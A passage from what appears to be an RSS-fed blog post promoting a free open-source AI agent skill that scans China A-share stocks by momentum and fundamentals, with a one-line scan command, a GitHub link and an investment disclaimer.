&lt;p&gt;&lt;strong&gt;3. Fundamentals — the filter that keeps you out of traps.&lt;/strong&gt; The scanner cross-references each mover against earnings, ROE history, and PEG. 戴维医疗 and 天山生物 are classic sentiment names (medical devices / agriculture themes) — fine for a 1–2 day trade if you respect the stop, but their fundamental scores keep them off the swing list. The system's job is to separate "momentum with a floor" from "momentum with a cliff."&lt;/p&gt;

&lt;h2&gt;
  
  
  The one-command workflow
&lt;/h2&gt;

&lt;p&gt;This isn't a black box — it's a free open-source skill for AI coding agents (works with Claude Code, Codex, etc.):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# fetch the whole market, score every ticker, output a ranked watchlist&lt;/span&gt;
agent-run a-share-stock-analysis scan &lt;span class="nt"&gt;--sort&lt;/span&gt; momentum
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Under the hood it's plain Python: Sina/Tencent free quote endpoints (no paid API key, no rate-limit drama), ~24 technical indicators (MACD, KDJ, RSI, Bollinger, volume-price divergence), and a weighted scoring model. You can read every line of the code and change the weights yourself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I open-sourced this
&lt;/h2&gt;

&lt;p&gt;I got tired of two things: (1) paid tools that hide their logic, and (2) advice posts with zero reproducible data. So the skill ships with the live scanner, the scoring rules, and a daily watchlist generator — you point it at today's market and it gives you today's numbers, not last month's screenshots.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GitHub: &lt;a href="https://github.com/Felixwang007/buda-a-share-stock-analyzer" rel="noopener noreferrer"&gt;github.com/Felixwang007/buda-a-share-stock-analyzer&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Published skill (search "A-Share Stock Analysis Expert"): available on the 虾评 skill marketplace and Agensi&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you trade A-shares or just want to see how a free agent skill does real market surveillance every morning, star the repo and run the scan tomorrow at 9:30. The tape will thank you.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclaimer: Educational content, not investment advice. A-share trading involves risk; always do your own due diligence and respect position sizing.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
  </channel>
</rss>
